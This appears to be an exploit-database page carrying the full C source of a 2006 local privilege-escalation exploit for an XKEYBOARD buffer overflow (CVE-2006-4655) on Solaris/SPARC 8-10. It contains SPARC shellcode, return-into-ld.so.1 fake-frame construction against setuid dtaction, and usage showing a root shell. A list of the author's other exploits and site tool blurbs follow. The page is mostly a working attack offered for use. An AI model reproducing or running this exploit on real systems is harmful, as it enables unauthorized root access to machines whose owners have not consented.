Search for hundreds of thousands of exploits

"X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (2)"

Author

Exploit author

"Marco Ivaldi"

Platform

Exploit platform

solaris

Release date

Exploit published date

2006-09-13

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
/*
 * $Id: raptor_xkb.c,v 1.1 2006/09/13 16:18:36 raptor Exp $
 *
 * raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in the Strcmp function in the XKEYBOARD extension in X 
 * Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun 
 * Solaris 8 through 10, allows local users to gain privileges via a long 
 * _XKB_CHARSET environment variable value (CVE-2006-4655).
 *
 * "You certainly do some ninja shit man." -- Kevin Finisterre (0dd)
 *
 * Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10 
 * required additional efforts: for some obscure reason traditional return 
 * into the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must 
 * be used instead of strcpy() (some new security measures were apparently
 * introduced to prevent exploitation), and the ld.so.1 memory space is a
 * bit changed. In order for this exploit to work, the X Window System server 
 * DISPLAY specified as argument must have the XKEYBOARD extension enabled.
 *
 * Greets to Adriano Lima <adriano@risesecurity.org> and Filipe Balestra
 * <filipe_balestra@hotmail.com>, who discovered this vulnerability, and
 * to Ramon de Carvalho Valle <ramon@risesecurity.org>, who exploited it.
 *
 * Usage:
 * $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_xkb 192.168.1.1:0
 * # id
 * uid=0(root) gid=10(staff) egid=3(sys)
 * #
 *
 * Vulnerable platforms:
 * Solaris 8 without patch 119067-03 [tested]
 * Solaris 9 without patch 112785-56 [tested]
 * Solaris 10 without patch 119059-16 [tested]
 */

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define	INFO1	"raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10"
#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/dt/bin/dtaction"		// default setuid target
//#define VULN	"/usr/dt/bin/dtprintinfo"
//#define VULN	"/usr/dt/bin/dtsession"

#define	BUFSIZE 1024				// size of the evil buffer
#define	VARSIZE	2048				// size of the evil env var
#define	FFSIZE	64 + 1				// size of the fake frame
#define	DUMMY	0xdeadbeef			// dummy memory address

/* voodoo macros */
#define	VOODOO32(_,__,___)	{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define	VOODOO64(_,__,___)	{_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() is needed by dtprintinfo and dtsession */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_zero(int addr, char *pattern);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
	char	platform[256], release[256], display[256];
	int	i, offset, ff_addr, sc_addr;
	int	plat_len, prog_len, rel;

	char	*arg[2] = {"foo", NULL};
	int	arg_len = 4, arg_pos = 1;

	int	ret, rwx_mem;

	/* get the stack base */
	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
		exit(2);
	}
	sprintf(display, "DISPLAY=%s", argv[1]);

	/* get some system information */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	rel = atoi(release + 2);

	/* get the address of strcpy() or sprintf() in ld.so.1 */
	ret = (rel < 10 ? search_ldso("strcpy") : search_ldso("sprintf"));

	/* get the address of RWX memory segment inside ld.so.1 */
	rwx_mem = search_rwx_mem();

	/* prepare the evil buffer */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;
	memcpy(buf, "_XKB_CHARSET=", 13);

	/* prepare the evil env var */
	memset(var, 'B', sizeof(var));
	var[sizeof(var) - 1] = 0x0;

	/* prepare the fake frame */
	bzero(ff, sizeof(ff));

	/* 
	 * saved %l registers
	 */
	set_val(ff, i  = 0, DUMMY);		/* %l0 */
	set_val(ff, i += 4, DUMMY);		/* %l1 */
	set_val(ff, i += 4, DUMMY);		/* %l2 */
	set_val(ff, i += 4, DUMMY);		/* %l3 */
	set_val(ff, i += 4, DUMMY);		/* %l4 */
	set_val(ff, i += 4, DUMMY);		/* %l5 */
	set_val(ff, i += 4, DUMMY);		/* %l6 */
	set_val(ff, i += 4, DUMMY);		/* %l7 */

	/*
	 * saved %i registers
	 */
	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to function */
	set_val(ff, i += 4, 0x42424242);	/* %i1: 2nd arg to function */
	set_val(ff, i += 4, DUMMY);		/* %i2 */
	set_val(ff, i += 4, DUMMY);		/* %i3 */
	set_val(ff, i += 4, DUMMY);		/* %i4 */
	set_val(ff, i += 4, DUMMY);		/* %i5 */
	set_val(ff, i += 4, sb - 1000);		/* %i6: frame pointer */
	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */

	/* fill the envp, keeping padding */
	sc_addr = add_env(ff);
	add_env(sc);
	add_env(display);
	add_env(buf);
	add_env(var);
	add_env(NULL);

	/* calculate the offset to argv[0] (voodoo magic) */
	plat_len = strlen(platform) + 1;
	prog_len = strlen(VULN) + 1;
	offset = arg_len + env_len + plat_len + prog_len;
	if (rel > 7)
		VOODOO64(offset, arg_pos, env_pos)
	else
		VOODOO32(offset, plat_len, prog_len)

	/* calculate the needed addresses */
	ff_addr = sb - offset + arg_len;
	sc_addr += ff_addr;

	/* set fake frame's %i1 */
	set_val(ff, 36, sc_addr);		/* 2nd arg to function */

	/* fill the evil buffer */
	for (i = 13 + 256; i < 13 + 256 + 56; i += 4) 
		set_val(buf, i, sb - 2048);
	/* we don't need to bruteforce */
	set_val(buf, 13 + 256 + 56, ff_addr);	/* fake frame address */
	set_val(buf, 13 + 256 + 60, ret - 4);	/* function, after the save */

	/* fill the evil env var */
	for (i = 0; i < VARSIZE - 8; i += 4)
		set_val(var, i, sb - 2048);

	/* print some output */
	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
	fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
	fprintf(stderr, "Using function address\t: 0x%p\n\n", (void *)ret);

	/* run the vulnerable program */
	execve(VULN, arg, env);
	perror("execve");
	exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
	int	i;

	/* null termination */
	if (!string) {
		env[env_pos] = NULL;
		return(env_len);
	}

	/* add the variable to envp */
	env[env_pos] = string;
	env_len += strlen(string) + 1;
	env_pos++;

	/* pad the envp using zeroes */
	if ((strlen(string) + 1) % 4)
		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
			env[env_pos] = string + strlen(string);
			env_len++;
		}

	return(env_len);
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
	    !(addr & 0xff000000)) {
		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
		exit(1);
	}
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
	int		addr;
	void		*handle;
	Link_map	*lm;

	/* open the executable object file */
	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen");
		exit(1);
	}

	/* get dynamic load information */
	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(1);
	}

	/* search for the address of the symbol */
	if ((addr = (int)dlsym(handle, sym)) == NULL) {
		fprintf(stderr, "sorry, function %s() not found\n", sym);
		exit(1);
	}

	/* close the executable object file */
	dlclose(handle);

	check_zero(addr - 4, sym);
	check_zero(addr - 8, sym); /* addr - 8 is the ret before function */
	return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
	int	fd;
	char	tmp[16];
	prmap_t	map;
	int	addr = 0;

	/* open the proc filesystem */
	sprintf(tmp,"/proc/%d/map", (int)getpid());
	if ((fd = open(tmp, O_RDONLY)) < 0) {
		fprintf(stderr, "can't open %s\n", tmp);
		exit(1);
	}

	/* search for the last RWX memory segment before stack */
	while (read(fd, &map, sizeof(map)))
		if (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC))
			addr = map.pr_vaddr;
	close(fd);

	/* add 4 to the exact address NULL bytes */
	if (!(addr & 0xff))
		addr |= 0x04;
	if (!(addr & 0xff00))
		addr |= 0x0400;

	return(addr);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
	buf[pos] =	(val & 0xff000000) >> 24;
	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
	buf[pos + 3] =	(val & 0x000000ff);
}

// milw0rm.com [2006-09-13]
Release DateTitleTypePlatformAuthor
2020-04-21"Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation"localsolaris"Marco Ivaldi"
2020-02-11"OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution"remotefreebsd"Marco Ivaldi"
2020-01-16"SunOS 5.10 Generic_147148-26 - Local Privilege Escalation"localmultiple"Marco Ivaldi"
2019-10-21"Solaris 11.4 - xscreensaver Privilege Escalation"localsolaris"Marco Ivaldi"
2019-10-16"Solaris xscreensaver 11.4 - Privilege Escalation"localsolaris"Marco Ivaldi"
2019-06-17"Exim 4.87 - 4.91 - Local Privilege Escalation"locallinux"Marco Ivaldi"
2019-05-20"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)"localsolaris"Marco Ivaldi"
2019-05-20"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation"localsolaris"Marco Ivaldi"
2019-05-20"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)"localsolaris"Marco Ivaldi"
2019-01-14"xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris 11 inittab)"localsolaris"Marco Ivaldi"
2018-11-30"xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation"localopenbsd"Marco Ivaldi"
2018-10-30"xorg-x11-server 1.20.3 - Privilege Escalation"localopenbsd"Marco Ivaldi"
2009-09-11"IBM AIX 5.6/6.1 - '_LIB_INIT_DBG' Arbitrary File Overwrite via Libc Debug"localaix"Marco Ivaldi"
2008-03-10"Solaris 8/9/10 - 'fifofs I_PEEK' Local Kernel Memory Leak"localsolaris"Marco Ivaldi"
2007-04-04"TrueCrypt 4.3 - 'setuid' Local Privilege Escalation"localwindows"Marco Ivaldi"
2007-02-13"Lotus Domino R6 Webmail - Remote Password Hash Dumper"remotewindows"Marco Ivaldi"
2007-02-13"Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack"remotemultiple"Marco Ivaldi"
2007-02-06"MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution"remotewindows"Marco Ivaldi"
2006-12-19"Oracle 9i/10g - 'extproc' Local/Remote Command Execution"remotemultiple"Marco Ivaldi"
2006-12-19"Oracle 9i/10g - 'utl_file' FileSystem Access"remotelinux"Marco Ivaldi"
2006-11-23"Oracle 9i/10g - 'read/write/execute' ation Suite"remotemultiple"Marco Ivaldi"
2006-10-24"Sun Solaris Netscape Portable Runtime API 4.6.1 - Local Privilege Escalation (2)"localsolaris"Marco Ivaldi"
2006-10-24"Solaris 10 libnspr - 'Constructor' Arbitrary File Creation Privilege Escalation (3)"localsolaris"Marco Ivaldi"
2006-10-16"Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (2)"localsolaris"Marco Ivaldi"
2006-10-13"Sun Solaris Netscape Portable Runtime API 4.6.1 - Local Privilege Escalation (1)"localsolaris"Marco Ivaldi"
2006-10-13"Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (1)"localsolaris"Marco Ivaldi"
2006-09-13"X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (2)"localsolaris"Marco Ivaldi"
2006-08-22"Solaris 8/9 - '/usr/ucb/ps' Local Information Leak"localsolaris"Marco Ivaldi"
2006-08-22"Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure (2)"localsolaris"Marco Ivaldi"
2006-07-18"Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation"locallinux"Marco Ivaldi"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/2360/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.